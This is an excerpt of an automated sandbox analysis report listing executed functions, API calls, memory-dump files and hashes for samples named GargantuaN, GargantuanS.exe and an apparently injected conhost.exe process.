Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 84c0a8832f7cbd910ad19124959d0e15f1d09ddc750f0d3c9b94d3b66241b288
Instruction ID: b9fcca041b7b877b0dae3cd3110f7ce1acea3bbb54e568557d9393167f9308e4
Opcode Fuzzy Hash: 84c0a8832f7cbd910ad19124959d0e15f1d09ddc750f0d3c9b94d3b66241b288
Instruction Fuzzy Hash: 8631B072A2021AAFDF25DF64DC45DAE7BA5EB41711B18812CFC08E6250EB35CD50CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D6A663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00D6A666
GetDeviceCaps.GDI32(00000000,00000058), ref: 00D6A675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D6A683
ReleaseDC.USER32(00000000,00000000), ref: 00D6A691

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 1f04ac6ee063a7420b0a748d9cc1be7fd8033c3b1d177925fa343af91f2542b3
Instruction ID: 43fd217eee8bc7ea9b81f2979a5607a7be9463addb965e4df6481c9435690a14
Opcode Fuzzy Hash: 1f04ac6ee063a7420b0a748d9cc1be7fd8033c3b1d177925fa343af91f2542b3
Instruction Fuzzy Hash: C3E0EC31942B22E7D6616F64AD0DB8A3E64AF16F52F050212FA05E6390DB6486009BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6A80C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00D6A699: GetDC.USER32(00000000), ref: 00D6A69D
Part of subcall function 00D6A699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00D6A6A8
Part of subcall function 00D6A699: ReleaseDC.USER32(00000000,00000000), ref: 00D6A6B3

GetObjectW.GDI32(?,00000018,?), ref: 00D6A83C

Part of subcall function 00D6AAC9: GetDC.USER32(00000000), ref: 00D6AAD2
Part of subcall function 00D6AAC9: GetObjectW.GDI32(?,00000018,?), ref: 00D6AB01
Part of subcall function 00D6AAC9: ReleaseDC.USER32(00000000,?), ref: 00D6AB99

Strings

(, xrefs: 00D6A9AA

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 6f463a9c3ae017dcdbd5a72fedde51e5878ad32f0ee8c1889cc61d7c33cbce5d
Instruction ID: 89df308f017fb9e95450f07a90774691b300e5add64cbede257ce55b38370f98
Opcode Fuzzy Hash: 6f463a9c3ae017dcdbd5a72fedde51e5878ad32f0ee8c1889cc61d7c33cbce5d
Instruction Fuzzy Hash: E691D0B1608355AFD610DF69C844A2BBBE8FFC9700F00495EF59AD3260DB30A945CF62

Uniqueness

Uniqueness Score: -1.00%

Function 00D575DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D575E3

Part of subcall function 00D605DA: _wcslen.LIBCMT ref: 00D605E0

Part of subcall function 00D5A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00D5A598

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D5777F

Part of subcall function 00D5A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00D5A325,?,?,?,00D5A175,?,00000001,00000000,?,?), ref: 00D5A501
Part of subcall function 00D5A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00D5A325,?,?,?,00D5A175,?,00000001,00000000,?,?), ref: 00D5A532

Strings

:, xrefs: 00D57654

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: 4674f984e2525b7dea212fdff87a4ca71e16d4abf82606aae60f17d8c4028467
Instruction ID: 428a2d596026a7df3c35664d35dfa2e36a85494d11c580407e75efd7aeecff5a
Opcode Fuzzy Hash: 4674f984e2525b7dea212fdff87a4ca71e16d4abf82606aae60f17d8c4028467
Instruction Fuzzy Hash: 22416F71801168AAEF25EB64DC55EEEB778EF45301F104096BE09A3092DB749F8CCB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D6B48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D6B4E3
_wcslen.LIBCMT ref: 00D6B4FE

Strings

}, xrefs: 00D6B4D6

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: 22c6e507616556e042bd7d31f8911065f107cd2ad271cf3a878ee287c6e3ce39
Instruction ID: 8eb3b72ae3fbf8a69a7d95792d955595f916df96ec4dd2933734d972c6deac90
Opcode Fuzzy Hash: 22c6e507616556e042bd7d31f8911065f107cd2ad271cf3a878ee287c6e3ce39
Instruction Fuzzy Hash: DF2181729043165BD731EA64D845AAAB3ECDF91764F18082BF545C3142FB65E98883B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D5F344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00D5F2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00D5F2E4
Part of subcall function 00D5F2C5: GetProcAddress.KERNEL32(00D981C8,CryptUnprotectMemory), ref: 00D5F2F4

GetCurrentProcessId.KERNEL32(?,?,?,00D5F33E), ref: 00D5F3D2

Strings

CryptUnprotectMemory failed, xrefs: 00D5F3CA
CryptProtectMemory failed, xrefs: 00D5F389

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 5455bfab9769c5b6c4b2a5e188a457f2f59ad81c5fcee82b86a599973535b405
Instruction ID: 251a1152865813dee9902408b25455c5eba3681050b877348d7d1bc4d7e4950c
Opcode Fuzzy Hash: 5455bfab9769c5b6c4b2a5e188a457f2f59ad81c5fcee82b86a599973535b405
Instruction Fuzzy Hash: 4C11D031A01329ABFF15AF24DC45A6E3B54EF01B62B08412AFC45AF351DA74DE4987B4

Uniqueness

Uniqueness Score: -1.00%

Function 00D5B991 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D5B9B8

Part of subcall function 00D54092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D540A5

Strings

%c:\, xrefs: 00D5B9AE

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: 47d537f10707affc4ad7c242dcb7bc46f21cf2d316a8e1c2d3a1ad465121f82b
Instruction ID: e6e5a39736be9692f97131dc6fd860aba9b43da224405e6fd587d8aef4a5cb9e
Opcode Fuzzy Hash: 47d537f10707affc4ad7c242dcb7bc46f21cf2d316a8e1c2d3a1ad465121f82b
Instruction Fuzzy Hash: A701F56350031169DE30AB358C42D7BA7ACEF91771B54850FFD48D7082FB60D84887B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00D61160,?,00000000,00000000), ref: 00D61043
SetThreadPriority.KERNEL32(?,00000000), ref: 00D6108A

Part of subcall function 00D56C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D56C54

Strings

CreateThread failed, xrefs: 00D6104F

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 2feda90b20498319e5413f23055a39277e5a745beed55136204a819b62d4c07a
Instruction ID: 7782a0cdf734b77a3a5493793c47233b25638e0d1b5fdaeb1441c0315dd7da10
Opcode Fuzzy Hash: 2feda90b20498319e5413f23055a39277e5a745beed55136204a819b62d4c07a
Instruction Fuzzy Hash: 6C01FE7934434A7FDB305F64DC52B767398EB40751F24042EF946D62C0CAA1A8894734

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00D6E5E8,0000001C,00D6E7DD,00000000,?,?,?,?,?,?,?,00D6E5E8,00000004,00DB1CEC,00D6E86D), ref: 00D6E6B4
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00D6E5E8,00000004,00DB1CEC,00D6E86D), ref: 00D6E6CF

Strings

D, xrefs: 00D6E6C3

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 6a8b7e3b037a7f1b5190702c5202b3d06a6e8b97b743c0a428e78d4aa5e42b7e
Instruction ID: 159bd6b090741bca584ba8818d3d371ceb1614d3a55b72d91aef47ec9513a81d
Opcode Fuzzy Hash: 6a8b7e3b037a7f1b5190702c5202b3d06a6e8b97b743c0a428e78d4aa5e42b7e
Instruction Fuzzy Hash: D4012B766002096BDF14DE29DC09BDD7BAAEFC4724F0CC120ED19DB250E734D90587A0

Uniqueness

Uniqueness Score: -1.00%

Function 00D51316 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00D5E2E8: _swprintf.LIBCMT ref: 00D5E30E
Part of subcall function 00D5E2E8: _strlen.LIBCMT ref: 00D5E32F
Part of subcall function 00D5E2E8: SetDlgItemTextW.USER32(?,00D8E274,?), ref: 00D5E38F
Part of subcall function 00D5E2E8: GetWindowRect.USER32(?,?), ref: 00D5E3C9
Part of subcall function 00D5E2E8: GetClientRect.USER32(?,?), ref: 00D5E3D5

GetDlgItem.USER32(00000000,00003021), ref: 00D5135A
SetWindowTextW.USER32(00000000,00D835F4), ref: 00D51370

Strings

0, xrefs: 00D51319

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 6ec68feb41ef696a10b10b6762d9f1d76e809339e13f0529dff923774870fd7c
Instruction ID: 6a5327320e88831f74c23dc2f96b8625f83826edec77ee17353c346bd61ba178
Opcode Fuzzy Hash: 6ec68feb41ef696a10b10b6762d9f1d76e809339e13f0529dff923774870fd7c
Instruction Fuzzy Hash: B5F04434145388FAEF151F94CC2D7E93B5DAF44386F084254FC4895A91CB75CA99EB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D60FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00D61206,?), ref: 00D60FEA
GetLastError.KERNEL32(?), ref: 00D60FF6

Part of subcall function 00D56C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D56C54

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00D60FFF

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 56c9c284bebe1c4c3b4725f27c2df953e39e42a02b2b7ee6e9cf68257a199a47
Instruction ID: 14fec9285796483baef7cbf163b7e02894ef25b507176802156b6cbc83a4f121
Opcode Fuzzy Hash: 56c9c284bebe1c4c3b4725f27c2df953e39e42a02b2b7ee6e9cf68257a199a47
Instruction Fuzzy Hash: B4D05E766486317BCF103724AC0AD7E3D08DB22B72BA40714F93DA63E6CA25898557B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D5E29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00D5DA55,?), ref: 00D5E2A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00D5DA55,?), ref: 00D5E2B1

Strings

RTL, xrefs: 00D5E2AB

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 191629f83c7ea76339d807d240a3ca447e1e384ed30e6a2e5647d28da1bc68c2
Instruction ID: 61bffe44e8cac3b0b9a616e4ceff6d6da07e81243c4dd34bf19d3870a1baacda
Opcode Fuzzy Hash: 191629f83c7ea76339d807d240a3ca447e1e384ed30e6a2e5647d28da1bc68c2
Instruction Fuzzy Hash: 0FC012312547106BEA342B656C0DB476A585B10F11F090448B549E93D1D6A5C54487B0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: GargantuanS.exePID: 7524, Parent PID: 7464COMMON

Executed Functions

Function 00007FF7A2251140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1745998457.00007FF7A2251000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7A2250000, based on PE: true

Associated: 00000002.00000002.1745972183.00007FF7A2250000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1746024729.00007FF7A225C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1746062081.00007FF7A225F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1746088678.00007FF7A2260000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1749013316.00007FF7A2754000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1749161971.00007FF7A278B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1749217510.00007FF7A278E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7a2250000_GargantuanS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808f824871d7e1a8eee0a1093264b3d0fd75ff3502bae8c0f48d855cf6986489
Instruction ID: b752463fdbaded6aab02adacd278ba5094f211ac24d00a60aa47dfbf79199e27
Opcode Fuzzy Hash: 808f824871d7e1a8eee0a1093264b3d0fd75ff3502bae8c0f48d855cf6986489
Instruction Fuzzy Hash: 31B0923090620984E2003B11D84126962606B48740F838030C40D023BACAAD9040DB20

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: conhost.exePID: 7800, Parent PID: 7792COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	2

Executed Functions

Function 000001B0BB98328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001B0BB9832AE
PathFindFileNameW.SHLWAPI ref: 000001B0BB9832BD

Part of subcall function 000001B0BB983844: StrCmpNIW.SHLWAPI ref: 000001B0BB98385C

Part of subcall function 000001B0BB983790: GetModuleHandleW.KERNEL32 ref: 000001B0BB98379E
Part of subcall function 000001B0BB983790: GetCurrentProcess.KERNEL32 ref: 000001B0BB9837CC
Part of subcall function 000001B0BB983790: VirtualProtectEx.KERNEL32 ref: 000001B0BB9837EE
Part of subcall function 000001B0BB983790: GetCurrentProcess.KERNEL32 ref: 000001B0BB983809
Part of subcall function 000001B0BB983790: VirtualProtectEx.KERNEL32 ref: 000001B0BB98382A

CreateThread.KERNEL32 ref: 000001B0BB98330B

Part of subcall function 000001B0BB981D14: GetCurrentThread.KERNEL32 ref: 000001B0BB981D1F

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: fba99c5a4152627cb9f67f4d25612b5066cae9354f3caab1e197c27b8ec105b9
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 3D111B79618E4183FB729B22FF493DB32A4EB5E3C5F90412AB94AC2595EF78C0488610

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB981ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001B0BB981628: GetProcessHeap.KERNEL32 ref: 000001B0BB981633
Part of subcall function 000001B0BB981628: HeapAlloc.KERNEL32 ref: 000001B0BB981642
Part of subcall function 000001B0BB981628: RegOpenKeyExW.ADVAPI32 ref: 000001B0BB9816B2
Part of subcall function 000001B0BB981628: RegOpenKeyExW.ADVAPI32 ref: 000001B0BB9816DF
Part of subcall function 000001B0BB981628: RegCloseKey.ADVAPI32 ref: 000001B0BB9816F9
Part of subcall function 000001B0BB981628: RegOpenKeyExW.ADVAPI32 ref: 000001B0BB981719
Part of subcall function 000001B0BB981628: RegCloseKey.ADVAPI32 ref: 000001B0BB981734
Part of subcall function 000001B0BB981628: RegOpenKeyExW.ADVAPI32 ref: 000001B0BB981754
Part of subcall function 000001B0BB981628: RegCloseKey.ADVAPI32 ref: 000001B0BB98176F
Part of subcall function 000001B0BB981628: RegOpenKeyExW.ADVAPI32 ref: 000001B0BB98178F
Part of subcall function 000001B0BB981628: RegCloseKey.ADVAPI32 ref: 000001B0BB9817AA
Part of subcall function 000001B0BB981628: RegOpenKeyExW.ADVAPI32 ref: 000001B0BB9817CA

Sleep.KERNEL32 ref: 000001B0BB981AD7
SleepEx.KERNEL32 ref: 000001B0BB981ADD

Part of subcall function 000001B0BB981628: RegCloseKey.ADVAPI32 ref: 000001B0BB9817E5
Part of subcall function 000001B0BB981628: RegOpenKeyExW.ADVAPI32 ref: 000001B0BB981805
Part of subcall function 000001B0BB981628: RegCloseKey.ADVAPI32 ref: 000001B0BB981820
Part of subcall function 000001B0BB981628: RegOpenKeyExW.ADVAPI32 ref: 000001B0BB981840
Part of subcall function 000001B0BB981628: RegCloseKey.ADVAPI32 ref: 000001B0BB98185B
Part of subcall function 000001B0BB981628: RegOpenKeyExW.ADVAPI32 ref: 000001B0BB98187B
Part of subcall function 000001B0BB981628: RegCloseKey.ADVAPI32 ref: 000001B0BB981896
Part of subcall function 000001B0BB981628: RegCloseKey.ADVAPI32 ref: 000001B0BB9818A0

Memory Dump Source

Source File: 00000007.00000002.1766155786.000001B0BB980000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B0BB980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb980000_conhost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 3b332a6565b8913d1a5b94307b60d14a2c7ab3855f27e53c505f5ddf8de1548c
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 06316479211E6193EB729B36DF512FB73A5EB8EBD0F0854219E09C76A9FF24C8518210

Uniqueness

Uniqueness Score: -1.00%

Function 000001B0BB95273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001B0BB95285E

Memory Dump Source

Source File: 00000007.00000002.1766119561.000001B0BB950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001B0BB950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1b0bb950000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
